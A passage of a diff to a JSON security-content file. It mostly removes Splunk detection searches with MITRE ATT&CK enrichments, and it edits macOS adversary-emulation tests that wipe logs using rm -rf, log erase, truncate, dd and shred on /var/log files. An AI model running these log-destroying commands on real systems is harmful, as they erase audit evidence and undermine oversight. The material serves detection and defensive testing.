"MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - } - ] - } - }, - { - "name": "Windows SOAPHound Binary Execution", - "description": "The following analytic detects the execution of the SOAPHound binary (`soaphound.exe`) with specific command-line arguments. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, command-line arguments, and other process-related metadata. This activity is significant because SOAPHound is a known tool used for credential dumping and other malicious activities. If confirmed malicious, this behavior could allow an attacker to extract sensitive information, escalate privileges, or persist within the environment, posing a severe threat to organizational security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=\"soaphound.exe\" OR Processes.original_file_name=\"soaphound.exe\" AND Processes.process IN (\"*--buildcache *\", \"*--bhdump *\", \"*--certdump *\", \"*--dnsdump *\", \"*-c *\", \"*--cachefilename *\", \"*-o *\", \"*--outputdirectory *\") by Processes.process Processes.dest Processes.process_current_directory Processes.process_name Processes.process_path Processes.process_integrity_level Processes.parent_process Processes.parent_process_path Processes.parent_process_guid Processes.parent_process_id Processes.process_guid Processes.process_id Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| `windows_soaphound_binary_execution_filter`", - "tags": { - "analytic_story": [ - "Windows Discovery Techniques" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "process_name", - "type": "Process", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The process $process_name$ was executed on $dest$ related to SOAPHound.", - "risk_score": 80, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1087.002", - "mitre_attack_technique": "Domain Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT41", - "BRONZE BUTLER", - "Chimera", - "Dragonfly", - "FIN13", - "FIN6", - "Fox Kitten", - "Ke3chang", - "LAPSUS$", - "MuddyWater", - "OilRig", - "Poseidon Group", - "Sandworm Team", - "Scattered Spider", - "ToddyCat", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1069.001", - "mitre_attack_technique": "Local Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Chimera", - "HEXANE", - "OilRig", - "Tonto Team", - "Turla", - "Volt Typhoon", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1482", - "mitre_attack_technique": "Domain Trust Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Akira", - "Chimera", - "Earth Lusca", - "FIN8", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1087.001", - "mitre_attack_technique": "Local Account", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT1", - "APT3", - "APT32", - "APT41", - "Chimera", - "Fox Kitten", - "Ke3chang", - "Moses Staff", - "OilRig", - "Poseidon Group", - "Threat Group-3390", - "Turla", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1087", - "mitre_attack_technique": "Account Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "FIN13" - ] - }, - { - "mitre_attack_id": "T1069.002", - "mitre_attack_technique": "Domain Groups", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "Dragonfly", - "FIN7", - "Inception", - "Ke3chang", - "LAPSUS$", - "OilRig", - "ToddyCat", - "Turla", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1069", - "mitre_attack_technique": "Permission Groups Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT3", - "APT41", - "FIN13", - "TA505" - ] - } - ] - } } ], "external_reference": [ @@ -197968,818 +155341,6 @@ "source_data_element": "network traffic flow", "relationship": "identified", "target_data_element": "network traffic volume" - }, - { - "name": "Azure AD Device Code Authentication", - "description": "The following analytic identifies Azure Device Code Phishing attacks, which can lead to Azure Account Take-Over (ATO). It leverages Azure AD SignInLogs to detect suspicious authentication requests using the device code authentication protocol. This activity is significant as it indicates potential bypassing of Multi-Factor Authentication (MFA) and Conditional Access Policies (CAPs) through phishing emails. If confirmed malicious, attackers could gain unauthorized access to Azure AD, Exchange mailboxes, and Outlook Web Application (OWA), leading to potential data breaches and unauthorized data access.", - "search": "`azure_monitor_aad` category=SignInLogs \"properties.authenticationProtocol\"=deviceCode | rename properties.* as * | stats count min(_time) as firstTime max(_time) as lastTime by user src_ip, appDisplayName, userAgent | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `azure_ad_device_code_authentication_filter`", - "tags": { - "analytic_story": [ - "Azure Active Directory Account Takeover" - ], - "asset_type": "Azure Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Device code requested for $user$ from $src_ip$", - "risk_score": 35, - "security_domain": "identity", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1528", - "mitre_attack_technique": "Steal Application Access Token", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29" - ] - }, - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Process Creating LNK file in Suspicious Location", - "description": "The following analytic detects a process creating a `.lnk` file in suspicious locations such as `C:\\User*` or `*\\Local\\Temp\\*`. It leverages filesystem and process activity data from the Endpoint data model to identify this behavior. This activity is significant because creating `.lnk` files in these directories is a common tactic used by spear phishing tools to establish persistence or execute malicious payloads. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary code, or further compromise the system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_name=\"*.lnk\" AND (Filesystem.file_path=\"C:\\\\Users\\\\*\" OR Filesystem.file_path=\"*\\\\Temp\\\\*\") by _time span=1h Filesystem.process_guid Filesystem.file_name Filesystem.file_path Filesystem.file_hash Filesystem.user | `drop_dm_object_name(Filesystem)` | rename process_guid as lnk_guid | join lnk_guid _time [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=* by _time span=1h Processes.parent_process_name Processes.parent_process_guid Processes.process_name Processes.dest Processes.process Processes.path | `drop_dm_object_name(Processes)` | rename parent_process_guid as lnk_guid] | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table firstTime, lastTime, lnk_guid, user, dest, file_name, file_path, process_name, process, process_path, file_hash | `process_creating_lnk_file_in_suspicious_location_filter`", - "tags": { - "analytic_story": [ - "Amadey", - "IcedID", - "Qakbot", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A process $process_name$ that launching .lnk file in $file_path$ in host $dest$", - "risk_score": 63, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Audit Events", - "description": "This detection searches for Windows Defender ASR audit events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR audit events that are generated when a process or application attempts to perform an action that would be blocked by an ASR rule, but is allowed to proceed for auditing purposes.", - "search": "`ms_defender` EventCode IN (1122, 1125, 1126, 1132, 1134) | stats count min(_time) as firstTime max(_time) as lastTime by host, Process_Name, Target_Commandline, Path, ID, EventCode | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_audit_events_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "ASR audit event, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Block Events", - "description": "This detection searches for Windows Defender ASR block events. ASR is a feature of Windows Defender Exploit Guard that prevents actions and apps that are typically used by exploit-seeking malware to infect machines. ASR rules are applied to processes and applications. When a process or application attempts to perform an action that is blocked by an ASR rule, an event is generated. This detection searches for ASR block events that are generated when a process or application attempts to perform an action that is blocked by an ASR rule. Typically, these will be enabled in block most after auditing and tuning the ASR rules themselves. Set to TTP once tuned.", - "search": "`ms_defender` EventCode IN (1121, 1126, 1129, 1131, 1133) | stats count min(_time) as firstTime max(_time) as lastTime by host, Path, Parent_Commandline, Process_Name, ID, EventCode | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_block_events_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "ASR block event, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - } - ] - } - }, - { - "name": "Windows Defender ASR Rules Stacking", - "description": "The following analytic identifies security events from Microsoft Defender, focusing on Exploit Guard and Attack Surface Reduction (ASR) features. It detects Event IDs 1121, 1126, 1131, and 1133 for blocked operations, and Event IDs 1122, 1125, 1132, and 1134 for audit logs. Event ID 1129 indicates user overrides, while Event ID 5007 signals configuration changes. This detection uses a lookup to correlate ASR rule GUIDs with descriptive names. Monitoring these events is crucial for identifying unauthorized operations, potential security breaches, and policy enforcement issues. If confirmed malicious, attackers could bypass security measures, execute unauthorized actions, or alter system configurations.", - "search": "`ms_defender` EventCode IN (1121, 1122, 1125, 1126, 1129, 1131, 1132, 1133, 1134, 5007) | stats count min(_time) as firstTime max(_time) as lastTime by host Parent_Commandline, Process_Name, Path, ID, EventCode | lookup asr_rules ID OUTPUT ASR_Rule | fillnull value=NULL | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`| rename host as dest | `windows_defender_asr_rules_stacking_filter`", - "tags": { - "analytic_story": [ - "Windows Attack Surface Reduction" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "ASR_Rule", - "type": "Unknown", - "role": [ - "Other" - ] - }, - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An ASR rule, $ASR_Rule$, was triggered on $dest$.", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1566.002", - "mitre_attack_technique": "Spearphishing Link", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT1", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT39", - "BlackTech", - "Cobalt Group", - "Confucius", - "EXOTIC LILY", - "Earth Lusca", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN4", - "FIN7", - "FIN8", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Machete", - "Magic Hound", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Sandworm Team", - "Sidewinder", - "TA2541", - "TA505", - "Transparent Tribe", - "Turla", - "Windshift", - "Wizard Spider", - "ZIRCONIUM" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } } ], "external_reference": [ @@ -198942,11 +155503,11 @@ "sudo rm -rf /var/log/system.log\nif [ -d /var/audit ] ; then sudo rm -rf /var/audit/20220725213300.202208110700021 ; fi\n", "rm -rf /var/log/messages\nrm -rf /var/log/security\n", "sudo log erase --all\nsudo log erase --ttl #Deletes only time-to-live log content\n", - "sudo truncate -s 0 /var/log/system.log #size parameter shorthand\nsudo truncate --size=0 /var/log/system.log #size parameter \n", + "sudo truncate -s 0 /var/log/system.log #size parameter shorthand\n", "truncate -s 0 /var/log/messages #size parameter shorthand\ntruncate --size=0 /var/log/security #size parameter \n", "sudo cat /dev/null > /var/log/system.log #truncating the file to zero bytes\nsudo dd if=/dev/zero bs=1000 count=5 of=/var/log/system.log #log file filled with null bytes(zeros)\n", "cat /dev/null > /var/log/messages #truncating the file to zero bytes\ncat /dev/zero > /var/lol/messages #log file filled with null bytes(zeros)\n", - "sudo find /var/log -name 'system.log.*' -exec rm {} \\; #using \"rm\" execution\nsudo find /var/log/ -name \"system.log.97.gz.*\" -exec shred -u -z -n 3 {} \\; #using \"shred\" execution\nsudo find /var/log/ -name \"system.log.98.gz.*\" -exec unlink {} \\; #using \"unlink\" execution\n", + "sudo find /var/log -name 'system.log*' -exec rm {} \\; #using \"rm\" execution\nsudo find /var/log -name \"system.log.97.gz*\" -exec shred -u -z -n 3 {} \\; #using \"shred\" execution\nsudo find /var/log -name \"system.log.98.gz*\" -exec unlink {} \\; #using \"unlink\" execution\n", "sudo echo '' > /var/log/system.log\n", "echo '' > /var/log/messages\n", "sudo log -f /var/log/system.log | : > /var/log/system.log\n", @@ -199033,7 +155594,7 @@ { "name": "Truncate system log files via truncate utility", "auto_generated_guid": "6290f8a8-8ee9-4661-b9cf-390031bf6973", - "description": "This test truncates the system log files using the truncate utility with (-s 0 or --size=0) parameter which sets file size to zero, thus emptying the file content\n", + "description": "This test truncates the system log files using the truncate utility with (-s 0) parameter which sets file size to zero, thus emptying the file content\n", "supported_platforms": [ "macos" ], @@ -199053,7 +155614,7 @@ } ], "executor": { - "command": "sudo truncate -s 0 #{system_log_path} #size parameter shorthand\nsudo truncate --size=0 #{system_log_path} #size parameter \n", + "command": "sudo truncate -s 0 #{system_log_path} #size parameter shorthand\n", "name": "sh", "elevation_required": true } @@ -199145,7 +155706,7 @@ } ], "executor": { - "command": "sudo find /var/log -name '#{system_log_name1}.*' -exec rm {} \\; #using \"rm\" execution\nsudo find /var/log/ -name \"#{system_log_name2}.*\" -exec shred -u -z -n 3 {} \\; #using \"shred\" execution\nsudo find /var/log/ -name \"#{system_log_name3}.*\" -exec unlink {} \\; #using \"unlink\" execution\n", + "command": "sudo find /var/log -name '#{system_log_name1}*' -exec rm {} \\; #using \"rm\" execution\nsudo find /var/log -name \"#{system_log_name2}*\" -exec shred -u -z -n 3 {} \\; #using \"shred\" execution\nsudo find /var/log -name \"#{system_log_name3}*\" -exec unlink {} \\; #using \"unlink\" execution\n", "name": "sh", "elevation_required": true } @@ -200451,92 +157012,6 @@ "source_data_element": "network traffic flow", "relationship": "identified", "target_data_element": "network traffic volume" - }, - { - "name": "Splunk DOS Via Dump SPL Command", - "description": "The following analytic identifies a potential Denial of Service (DoS) attack exploiting the dump SPL command in vulnerable Splunk Enterprise versions. It detects this activity by searching the `splunk_crash_log` for segmentation fault entries, indicating a crash of the Splunk daemon. This activity is significant for a SOC because it can disrupt the availability of Splunk services, impacting monitoring and incident response capabilities. If confirmed malicious, this attack could render Splunk Enterprise unusable, severely hindering an organization's ability to detect and respond to other security threats.", - "search": "`splunk_crash_log` \"*Segmentation fault*\" | stats count by host _time | `splunk_dos_via_dump_spl_command_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible denial of service attack with Victim $host$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1499.004", - "mitre_attack_technique": "Application or System Exploitation", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Splunk DOS via printf search function", - "description": "The following analytic identifies the use of the `printf` SPL function in Splunk searches, which can be exploited for a denial of service (DoS) attack. It detects this activity by querying the `audit_searches` data source for specific patterns involving `makeresults`, `eval`, `fieldformat`, and `printf` functions, excluding searches by the `splunk_system_user`. This activity is significant because it targets a known vulnerability in Splunk Enterprise versions lower than 8.1.14, 8.2.12, 9.0.6, and 9.1.1, potentially disrupting the availability of the Splunk instance. If confirmed malicious, this could lead to service outages and impact the monitoring and logging capabilities of the organization.", - "search": "`audit_searches` \"*makeresults * eval * fieldformat *printf*\" user!=\"splunk_system_user\" search!=\"*audit_searches*\" | stats count by user splunk_server host search | convert ctime(*time) |`splunk_dos_via_printf_search_function_filter`", - "tags": { - "analytic_story": [ - "Splunk Vulnerabilities" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Actions on Objectives" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "host", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Possible denial of service attack against $host$", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1499.004", - "mitre_attack_technique": "Application or System Exploitation", - "mitre_attack_tactics": [ - "Impact" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -201946,620 +158421,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Windows DotNet Binary in Non Standard Path", - "description": "The following analytic detects the execution of native .NET binaries from non-standard directories within the Windows operating system. It leverages Endpoint Detection and Response (EDR) telemetry, comparing process names and original file names against a predefined lookup using the `is_net_windows_file_macro` macro. This activity is significant because adversaries may move .NET binaries to unconventional paths to evade detection and execute malicious code. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where NOT (Processes.process_path IN (\"*\\\\Windows\\\\ADWS\\\\*\",\"*\\\\Windows\\\\SysWOW64*\", \"*\\\\Windows\\\\system32*\", \"*\\\\Windows\\\\NetworkController\\\\*\", \"*\\\\Windows\\\\SystemApps\\\\*\", \"*\\\\WinSxS\\\\*\", \"*\\\\Windows\\\\Microsoft.NET\\\\*\")) by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.original_file_name Processes.process_path Processes.process_id Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `is_net_windows_file_macro` | `windows_dotnet_binary_in_non_standard_path_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Masquerading - Rename System Utilities", - "Ransomware", - "Signed Binary Proxy Execution InstallUtil", - "Unusual Processes", - "WhisperGate" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - 